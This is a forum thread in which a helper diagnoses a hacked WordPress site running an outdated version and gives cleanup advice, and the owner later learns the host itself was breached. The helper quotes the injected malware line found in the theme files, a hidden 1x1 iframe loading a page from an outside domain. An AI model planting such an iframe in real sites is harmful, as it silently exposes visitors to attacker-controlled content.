Where is my site?

Read this entire post twice before you do ANYHTHING, and please ask questions before procedding if you dont understand something.

————————–

Thats not all that happened yesterday, based on this:

https://betaphilings.com/wp-content/themes/

You were hacked.

See the timestamps on the directories?

Click this:

https://betaphilings.com/wp-content/themes/2Exquisite/

wait about 3 seconds and view your source:

<!-- ~ --><iframe src='https://m-gallery.org/images/111/index.php' width=1 height=1 style='visibility: hidden;'></iframe><!-- ~ -->

Its in this theme also:

https://betaphilings.com/wp-content/themes/fluidityrs/

Thats called a hidden iframe, and guess what it doesn’t belong there.

Google’s cache shows your most recent theme as this one:

https://64.233.167.104/search?q=cache:SEcGt9yPMBUJ:betaphilings.com/+https://betaphilings.com&hl=en&ct=clnk&cd=1&gl=us

Is that correct?

https://betaphilings.com/wp-content/themes/daydream/

If so, that theme doesn’t outwardly appear to have been tampered with, except that it too has a changed timestamp thats matches the themes that have been. I did NOT check all the themes to which ones had been modified — seeing two tells me all I need to know.

This is what I would do.

You have been running WP 2.0.3

<meta name="generator" content="WordPress 2.0.3" /> <!-- leave this for stats -->

Its insecure, and their have been plenty of notices about the necessity of upgrading – both on your dashboard inside wp-admin and here:

https://www.ads-software.com/development/

Time to get off the duff and upgrade:

I would delete all of those theme files, since you do not know what has been changed.

I would go through the normal upgrade process — but instead of following the directions that say NOT to delete the files inside wp-content/themes .. you are going to.

You will then need to upload the themes that come with the upgrade of wordpress you choose to install.

I would also be letting my host know.

I would also be changing ALL of my passwords.

And I would be working on using safe, sound permissions for ALL of my files and directories.

The good part is someone is trying to help you

You know, it’s a shame.. for all the harping that some people do trying to get people to upgrade.. I wish these threads didnt fade into oblivian.

They ought to be front and center all of the time.

I am so grateful for your input, whooami. I will get started on the clean-up and keep you posted.

No luck restoring my site, but I heard that dreamhost, my host, got hacked and other sites are down as well.

well that sucks shit — honestly.

Time for a host change. That really blows. Hit them up for a credit — as long as they don’t think you’re the cause of it.

once you have determined that your site ought to be live, and appears to be having issues (the dreaded white page from hell, for instance) post back — we can prolly help.

by the way, this is the read ??

https://simonwillison.net/2007/Jun/6/dreamhost/

and it verifies exactly what I found..

I reiterate, make sure you demand a credit.. if they dont anti up — I would ship myself right on outa there.

Whew! I’m back up.

that still sucks. thats three days of a credit they owe you.

This is good to know, considering I just signed up for DreamHost last night.